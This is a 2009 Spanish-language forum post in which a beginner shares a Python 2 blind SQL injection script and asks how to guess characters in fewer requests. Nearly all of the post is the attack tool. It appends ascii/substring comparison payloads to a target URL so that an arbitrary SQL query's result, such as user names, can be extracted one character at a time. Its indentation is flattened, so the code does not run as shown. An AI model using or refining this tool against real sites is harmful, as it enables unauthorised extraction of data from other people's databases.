[python] Script Blind Sql Injection

Iniciado por nacho87, 24 Septiembre 2009, 12:11 PM

0 Miembros y 1 Visitante están viendo este tema.

nacho87

Hola! He hecho un pequeño script para sacar datos de una blind SQL injection en python pero me gustaría que me dierais algun consejo y sugerencia. El script es éste:
Código (python) [Seleccionar]
#!/usr/bin/python
# -*- coding: iso-8859-1 -*-

import re
import urllib
import urllib2
import sys
import cookielib
from socket import ssl

ua = "Mozilla/5.0 (compatible; Konqueror/3.5.8; Linux)"
h = {"User-Agent" : ua}

letra = [' ','!','\"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_','`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','{','|','~','~','~','~','~','~','~','~','~','~']

usage =  "\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
usage += "usage: %s \"url\" \"consulta sql\"   \n" % sys.argv[0]
usage += "ejemplo: %s \"wwww.host.com/a.php?c=1\" \"SELECT user FROM usuarios limit 0,1\"\n" %  sys.argv[0]
usage += "\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
if len(sys.argv) < 3:
print usage
exit()

hsh = urllib2.HTTPSHandler()
cookie_h = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookie_h,hsh,urllib2.HTTPCookieProcessor())
urllib2.install_opener(opener)

x = 1
y = 45

url = sys.argv[1]
param = sys.argv[2]
sql = param.replace(" ", "%20")

def mayor():
request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))>"+str(ord(letra[y]))+"")                  
if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
return 1
def menor():
request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))<"+str(ord(letra[y]))+"")
if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
return 1
def salida():
request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))=0")
if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
return 1
def acierto():
request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))="+str(ord(letra[y]))+"")
if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
return 1

try:
   while True:
if acierto():
x += 1
print letra[y]
if salida():
exit()

elif mayor():
y += 10
if mayor():
y += 5
elif menor():
y -= 1
elif acierto():
x += 1
print letra[y]
else:
if menor():
y -= 7
if menor():
y -= 10
elif mayor():
y += 1
elif acierto():
x += 1
print letra[y]
else:
print "error"
exit()

except KeyboardInterrupt:
    print "\n Cierro"




Me gustaría que me hicierais alguna sugerencia sobre como encontrar con el menor número de intentos la letra correcta. La
forma en que lo hago es bastante rudimentaria y seguro que hay alguna más eficaz.
También me gustaría saber si hay alguna forma de que, al usar "print" me vaya sacando las letras que encuentra en la
misma línea.
Gracias!!

PD: no os riais mucho que estoy empezando con python y con la programación en general!! jeje.